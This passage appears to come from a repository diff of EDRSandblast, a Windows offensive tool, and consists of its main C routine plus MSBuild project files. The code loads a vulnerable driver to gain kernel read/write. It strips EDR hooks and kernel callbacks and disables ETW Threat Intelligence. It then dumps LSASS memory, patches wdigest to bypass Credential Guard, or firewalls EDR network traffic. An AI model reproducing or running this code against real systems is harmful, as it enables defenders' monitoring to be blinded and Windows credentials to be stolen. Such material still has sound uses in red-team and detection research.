// TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks.
|
||||
BOOL isSafeToExecutePayloadUserland = TRUE;
|
||||
BOOL isSafeToExecutePayloadKernelland = TRUE;
|
||||
|
||||
if (userMode) {
|
||||
_putts_or_not(TEXT("[===== USER MODE =====]\n"));
|
||||
_putts_or_not(TEXT("[+] Detecting userland hooks in all loaded DLLs..."));
|
||||
hooks = searchHooks(NULL);
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
if (startMode != audit && unhook_method != UNHOOK_NONE) {
|
||||
if (hooks->disk_function != NULL) {
|
||||
_putts_or_not(TEXT("[+] [Hooks]\tRemoving detected userland hooks..."));
|
||||
}
|
||||
for (HOOK* ptr = hooks; ptr->disk_function != NULL; ptr++) {
|
||||
printf_or_not("[+] [Hooks]\tUnhooking %s using method %ld...\n", ptr->functionName, unhook_method);
|
||||
// TODO: return if all hook could be removed and set isSafeToExecutePayloadUserland.
|
||||
unhook(ptr, unhook_method);
|
||||
}
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
if (kernelMode) {
|
||||
_putts_or_not(TEXT("[===== KERNEL MODE =====]\n"));
|
||||
|
||||
if (_tcslen(driverPath) == 0) {
|
||||
PathCchAppend(driverPath, _countof(driverPath), currentFolderPath);
|
||||
PathCchAppend(driverPath, _countof(driverPath), driverDefaultName);
|
||||
}
|
||||
if (!FileExists(driverPath)) {
|
||||
_tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("NtoskrnlOffsets.csv");
|
||||
PathCchAppend(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath);
|
||||
PathCchAppend(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName);
|
||||
}
|
||||
|
||||
_putts_or_not(TEXT("[+] Setting up prerequisites for the kernel read/write primitives..."));
|
||||
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
|
||||
if (FileExists(ntoskrnlOffsetCSVPath)) {
|
||||
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
|
||||
LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath);
|
||||
if (!NtoskrnlAllKernelCallbacksOffsetsArePresent()) { // (only check notify routines offsets, because ETW Ti might legitimately be absent on "old" Windows versions)
|
||||
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ntoskrnl in use."));
|
||||
}
|
||||
}
|
||||
if (internet && !NtoskrnlAllKernelCallbacksOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("[+] Downloading kernel related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
|
||||
#if _DEBUG
|
||||
LoadNtoskrnlOffsetsFromInternet(FALSE);
|
||||
#else
|
||||
LoadNtoskrnlOffsetsFromInternet(TRUE);
|
||||
#endif
|
||||
if (!NtoskrnlAllKernelCallbacksOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
|
||||
if (FileExists(ntoskrnlOffsetCSVPath)) {
|
||||
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
|
||||
SaveNtoskrnlOffsetsToFile(ntoskrnlOffsetCSVPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!NtoskrnlAllKernelCallbacksOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file. Aborting...\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// Print the kernel offsets in verbose mode.
|
||||
if (verbose) {
|
||||
PrintNtoskrnlOffsets();
|
||||
}
|
||||
|
||||
// Install the vulnerable driver to have read / write in Kernel memory.
|
||||
LPTSTR serviceNameIfAny = NULL;
|
||||
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
|
||||
if (isDriverAlreadyRunning){
|
||||
_putts_or_not(TEXT("[+] Vulnerable driver is already running!\n"));
|
||||
SetDriverServiceName(serviceNameIfAny);
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Installing vulnerable driver..."));
|
||||
status = InstallVulnerableDriver(driverPath);
|
||||
if (status != TRUE) {
|
||||
_putts_or_not(TEXT("[!] An error occurred while installing the vulnerable driver"));
|
||||
_putts_or_not(TEXT("[*] Uninstalling the service and attempting the install again..."));
|
||||
Sleep(20000);
|
||||
CloseDriverHandle();
|
||||
status = UninstallVulnerableDriver();
|
||||
Sleep(2000);
|
||||
status = status && InstallVulnerableDriver(driverPath);
|
||||
Sleep(2000);
|
||||
if (status != TRUE) {
|
||||
_putts_or_not(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the driver left..."));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
Sleep(5000);// TODO : replace by a reliable method to check if the driver is ready
|
||||
_putts_or_not(TEXT("\n"));
|
||||
}
|
||||
|
||||
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
|
||||
_putts_or_not(TEXT("[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations..."));
|
||||
foundEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!foundEDRDrivers) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
|
||||
if (foundNotifyRoutineCallbacks) {
|
||||
isSafeToExecutePayloadKernelland = FALSE;
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication..."));
|
||||
foundObjectCallbacks = EnumEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\tObject callbacks are %s !\n"), foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
|
||||
if (foundObjectCallbacks) {
|
||||
isSafeToExecutePayloadKernelland = FALSE;
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
|
||||
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
||||
_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||
_putts_or_not(TEXT(""));
|
||||
if (ETWTIState) {
|
||||
isSafeToExecutePayloadKernelland = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (startMode != audit) {
|
||||
|
||||
if (isSafeToExecutePayloadKernelland && (isSafeToExecutePayloadUserland || directSyscalls)) {
|
||||
_putts_or_not(TEXT("[+] Process is \"safe\" to launch our payload\n"));
|
||||
|
||||
// Do the operation the tool was started for.
|
||||
switch (startMode) {
|
||||
|
||||
// Start a process executing cmd.exe.
|
||||
case cmd:
|
||||
_putts_or_not(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
|
||||
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
|
||||
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n"));
|
||||
// Find cmd.exe path.
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
TCHAR cmdPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
|
||||
_tsystem(cmdPath);
|
||||
break;
|
||||
|
||||
// Dump the LSASS process in a new thread.
|
||||
case dump:
|
||||
if (kernelMode) {
|
||||
if (g_ntoskrnlOffsets.st.eprocess_protection != 0x0) {
|
||||
_putts_or_not(TEXT("\n[+] RunPPL bypass: Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) since PPL is supported by the OS. This will allow access to LSASS if RunAsPPL is enabled"));
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
|
||||
_putts_or_not(TEXT("[+] Attempting to dump the process"));
|
||||
|
||||
// Determine dump path based on specified process name.
|
||||
if (_tcslen(outputPath) == 0) {
|
||||
TCHAR* processNameFilename = _tcsdup(processName);
|
||||
hrStatus = PathCchRemoveExtension(processNameFilename, _tcslen(processNameFilename) + 1);
|
||||
if (FAILED(hrStatus)) {
|
||||
free(processNameFilename);
|
||||
processNameFilename = _tcsdup(TEXT("dmp.txt"));
|
||||
}
|
||||
_tcscat_s(outputPath, _countof(outputPath), currentFolderPath);
|
||||
_tcscat_s(outputPath, _countof(outputPath), TEXT("\\"));
|
||||
_tcscat_s(outputPath, _countof(outputPath), processNameFilename);
|
||||
if (processNameFilename) {
|
||||
free(processNameFilename);
|
||||
processNameFilename = NULL;
|
||||
}
|
||||
}
|
||||
else if (PathIsRelative(outputPath)) {
|
||||
SIZE_T newOutputPathsZ = _tcslen(currentFolderPath) + _tcslen(TEXT("\\")) + _tcslen(outputPath) + 1;
|
||||
TCHAR* newOutputPath = calloc(newOutputPathsZ, sizeof(TCHAR));
|
||||
if (!newOutputPath) {
|
||||
_putts_or_not(TEXT("[!] A fatal error occurred while allocating memory for thread arguments"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
break;
|
||||
}
|
||||
_tcscat_s(newOutputPath, newOutputPathsZ, currentFolderPath);
|
||||
_tcscat_s(newOutputPath, newOutputPathsZ, TEXT("\\"));
|
||||
_tcscat_s(newOutputPath, newOutputPathsZ, outputPath);
|
||||
_tcscpy_s(outputPath, _countof(outputPath), newOutputPath);
|
||||
if (newOutputPath) {
|
||||
free(newOutputPath);
|
||||
newOutputPath = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
HANDLE hThread = NULL;
|
||||
|
||||
// Set arguments for function call through
|
||||
PVOID* pThreatArguments = calloc(2, sizeof(PVOID));
|
||||
if (!pThreatArguments) {
|
||||
_putts_or_not(TEXT("[!] A fatal error occurred while allocating memory for thread arguments"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
break;
|
||||
}
|
||||
pThreatArguments[0] = processName;
|
||||
pThreatArguments[1] = outputPath;
|
||||
|
||||
if (directSyscalls) {
|
||||
hThread = CreateThread(NULL, 0, SandMiniDumpWriteDumpFromThread, (PVOID) pThreatArguments, 0, NULL);
|
||||
}
|
||||
else {
|
||||
hThread = CreateThread(NULL, 0, dumpProcessFromThread, (PVOID) pThreatArguments, 0, NULL);
|
||||
}
|
||||
if (hThread) {
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
|
||||
if (lpExitCode != 0) {
|
||||
_putts_or_not(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[!] An error occurred while attempting to start the new thread..."));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
if (pThreatArguments) {
|
||||
free(pThreatArguments);
|
||||
pThreatArguments = NULL;
|
||||
}
|
||||
break;
|
||||
|
||||
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
|
||||
case credguard:
|
||||
if (_tcslen(wdigestOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
if (FileExists(wdigestOffsetCSVPath)) {
|
||||
_putts_or_not(TEXT("[+] Loading wdigest related offsets from the CSV file"));
|
||||
LoadWdigestOffsetsFromFile(wdigestOffsetCSVPath);
|
||||
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of wdigest in use."));
|
||||
}
|
||||
}
|
||||
if (internet && (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0)) {
|
||||
_putts_or_not(TEXT("[+] Downloading wdigest related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
|
||||
#if _DEBUG
|
||||
LoadWdigestOffsetsFromInternet(FALSE);
|
||||
#else
|
||||
LoadWdigestOffsetsFromInternet(TRUE);
|
||||
#endif
|
||||
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
|
||||
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
|
||||
if (FileExists(wdigestOffsetCSVPath)) {
|
||||
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
|
||||
SaveWdigestOffsetsToFile(wdigestOffsetCSVPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file. LSASS won't be patched...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT(""));
|
||||
if (kernelMode) {
|
||||
_putts_or_not(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled"));
|
||||
if (g_ntoskrnlOffsets.st.eprocess_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
if (disableCredGuardByPatchingLSASS()) {
|
||||
_putts_or_not(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system."));
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed."));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
// Add firewall rules to block EDR network communications.
|
||||
case firewall:
|
||||
{
|
||||
hrStatus = S_OK;
|
||||
fwBlockingRulesList sFWEntries = { 0 };
|
||||
|
||||
_tprintf_or_not(TEXT("[*] Configuring Windows Firewall rules to block EDR network access...\n"));
|
||||
hrStatus = FirewallBlockEDR(&sFWEntries);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] An error occured while attempting to create Firewall rules!\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully configured Windows Firewall rules to block EDR network access!\n"));
|
||||
|
||||
}
|
||||
_tprintf_or_not(TEXT("\n"));
|
||||
FirewallPrintManualDeletion(&sFWEntries);
|
||||
break;
|
||||
}
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
// If the the payload is not safe to execute.
|
||||
else {
|
||||
if (WasRestarted()) {
|
||||
_tprintf_or_not(TEXT("Something failed, cannot perform safely execute payload. Aborting...\n"));
|
||||
exit(1);
|
||||
}
|
||||
_putts_or_not(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n"));
|
||||
#ifdef _DEBUG
|
||||
assert(kernelMode);
|
||||
#endif
|
||||
/*
|
||||
* 1/3 : Removing kernel-based monitoring.
|
||||
*/
|
||||
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
|
||||
if (ETWTIState) {
|
||||
DisableETWThreatIntelProvider(verbose);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
// If kernel callbacks are monitoring processes, we remove them and start a new process.
|
||||
if (foundNotifyRoutineCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading..."));
|
||||
RemoveEDRNotifyRoutineCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
if (foundObjectCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication..."));
|
||||
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
/*
|
||||
* 2/3 : Starting "resursively" our process.
|
||||
*/
|
||||
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
|
||||
_putts_or_not(TEXT("[+] All EDR drivers were successfully removed from Kernel callbacks!\n\n==================================================\nStarting a new unmonitored process...\n==================================================\n"));
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
memset(&si, 0, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
// Pass the same argument as the parent process.
|
||||
TCHAR* currentCommandLine = GetCommandLine();
|
||||
CloseDriverHandle();
|
||||
if (CreateProcess(argv[0], currentCommandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[!] An error occured while trying to create a new process"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
_putts_or_not(TEXT("\n"));
|
||||
|
||||
/*
|
||||
* 3/3 : Restoring state after execution.
|
||||
*/
|
||||
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
|
||||
if (restoreCallbacks == TRUE && foundNotifyRoutineCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Restoring EDR's kernel notify routine callbacks..."));
|
||||
RestoreEDRNotifyRoutineCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
if (restoreCallbacks == TRUE && foundObjectCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Restoring EDR's kernel object callbacks..."));
|
||||
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
// Renable the ETW Threat Intel provider.
|
||||
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
||||
if (ETWTIState) {
|
||||
EnableETWThreatIntelProvider(verbose);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
if (foundEDRDrivers) {
|
||||
free(foundEDRDrivers);
|
||||
foundEDRDrivers = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (kernelMode && removeVulnDriver) {
|
||||
// Sleep(5000); // TODO : replace by a reliable method to check if the driver is ready
|
||||
_putts_or_not(TEXT("[*] Uninstalling vulnerable driver..."));
|
||||
CloseDriverHandle();
|
||||
status = UninstallVulnerableDriver();
|
||||
if (status == FALSE) {
|
||||
_putts_or_not(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver"));
|
||||
_tprintf_or_not(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetDriverServiceName());
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] The vulnerable driver was successfully uninstalled!"));
|
||||
}
|
||||
}
|
||||
|
||||
return lpExitCode;
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast.c" />
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{ffa0fdde-be70-49e4-97de-753304ef1113}</ProjectGuid>
|
||||
<RootNamespace>EDRSandblastCLI</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>$(SolutionDir)\EDRSandblast\Includes;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(LibraryPath)</LibraryPath>
|
||||
<TargetName>EDRSandblast</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<IncludePath>$(SolutionDir)\EDRSandblast\Includes;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(LibraryPath)</LibraryPath>
|
||||
<TargetName>EDRSandblast</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>$(SolutionDir)$(Platform)\$(Configuration)\EDRSandblast_Core.lib;Dbghelp.lib;Version.lib;Winhttp.lib;Pathcch.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmtd.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>$(SolutionDir)$(Platform)\$(Configuration)\EDRSandblast_Core.lib;Dbghelp.lib;Version.lib;Winhttp.lib;Pathcch.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmtd.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
